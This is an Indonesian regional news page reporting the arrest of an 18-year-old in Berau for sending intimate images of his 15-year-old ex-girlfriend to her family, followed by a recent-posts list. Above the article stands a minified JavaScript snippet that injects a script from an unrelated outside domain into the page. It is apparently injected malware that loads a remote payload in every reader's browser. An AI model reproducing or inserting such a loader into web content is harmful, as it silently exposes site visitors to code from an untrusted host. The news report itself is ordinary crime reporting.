(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Timur

Ancam Sebar Video dan Foto Bugil, Pemuda 18 Tahun di Berau Dibekuk Polisi


KANALKALIMANTAN.COM – Seorang pemuda berinisial MT (18) akhirnya harus pasrah setelah tim unit PPA Polres Berau meringkus dirinya akibat perbuatannya yang telah dilakukan terhadap seorang gadis berusia 15 tahun.

Diketahui, MT diringkus pihak kepolisian lantaran melakukan tindakan tak senonoh terhadap gadis tersebut, pada Minggu (20/5/2022) lalu.

Pengungkapan kasus itu berawal saat pelaku menemani korban latihan menari di salah satu sekolah yang berada di Kecamatan Segah. Usai latihan menari, pelaku lantas mengajak korban untuk melakukan hubungan badan di sebuah hotel melati.

“Keduanya ini adalah sepasang kekasih. Jadi setelah latihan menari, korban diajak pelaku (MT) untuk berhubungan badan. Namun, korban ini menolak. Karena mendapat ancaman, jadi si korban terpaksa mau ikut pelaku ke hotel melati untuk berhubungan badan,” ungkap Kaur Humas Polres Berau, Iptu Suradi saat dihubungi melalui sambungan seluler, Rabu (1/6/2022), dilansir Suara.com -jejaring Kanalkalimantan.com.

 

 

Baca juga: Buntut Vonis Bebas Bandar Narkoba, Hakim di PN Palangkaraya Akan Diperiksa

Hubungan keduanya pun tak berlangsung lama. Pasalnya, sang gadis ternyata berselingkuh dengan laki-laki lain, dan akhirnya memutuskan hubungan dengan MT.

MT yang tidak terima dengan keputusan korban pun, lantas mengirim foto sang gadis saat tak berbusana kepada kakak korban. Tak berhenti disitu MT juga mengirim video persetubuhan mereka ke keluarga korban.

“Si pelaku ini tidak terima diputusi oleh korban. Kemudian dia mengancam, pertama mengirim foto bugil si, dan yang kedua pelaku ini mengirim video hubungan badan mereka kepada keluarga korban. Karena si kakak korban ini gerah dengan perlakuan pelaku, akhirnya dia melaporkan kejadian ini kepada kami,” imbuhnya.

Kini, MT telah diamankan dan dibawa ke Mapolres Berau untuk dilakukan penyelidikan lebih lanjut.

Akbat perbuatannya, MT diancam dengan Pasal 82 ayat 1 juncto Pasal 76E UU RI Nomor 35 Tahun 2014 tentang perubahan atas UU RI Nomor 23 tahun 2002 tentang perlindungan anak, dengan hukuman penjara paling lama 15 tahun. (Suara.com/apriskian tauda parulian)

Editor : kk


Risa

Recent Posts

Lutung Tersengat Listrik Dievakuasi Warga, Damkar HSU Amankan Satwa Dilindungi

KANALKALIMANTAN.COM, AMUNTAI - Tersengat aliran listrik bertegangan tinggi, seekor satwa dilindungi lutung terkapar berhasil dievakuasi… Read More

28 menit ago

“Pesta Siswa Literasi Digital” di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Teknologi yang saat ini berkembang sangat pesat dan cepat telah membuat perubahan… Read More

1 jam ago

Kontestasi Pilwali Banjarbaru, Golkar Partai Pertama Incaran Lisa Halaby

Lisa Halaby: Saya Siap, Insyaallah Mundur Sebagai ASN Read More

2 jam ago

Perda Tentang Perusda, DPRD Batara Kunker ke Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Barito Utara (Batara), Kalimantan Tengah, Senin… Read More

4 jam ago

Tiga Pelaku Judi Kartu di Loktabat Utara Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Tiga pelaku judi di Kota Banjarbaru, Kalimantan Selatan (Kalsel) dibekuk anggota Opsnal… Read More

5 jam ago

Bedakan Kosong di Basirih Dilalap Api

KANALKALIMANTAN.COM, BANJARMASIN – Api berkobar di kawasan permukiman warga di Kota Banjarmasin, Provinsi Kalimantan Selatan… Read More

6 jam ago

This website uses cookies.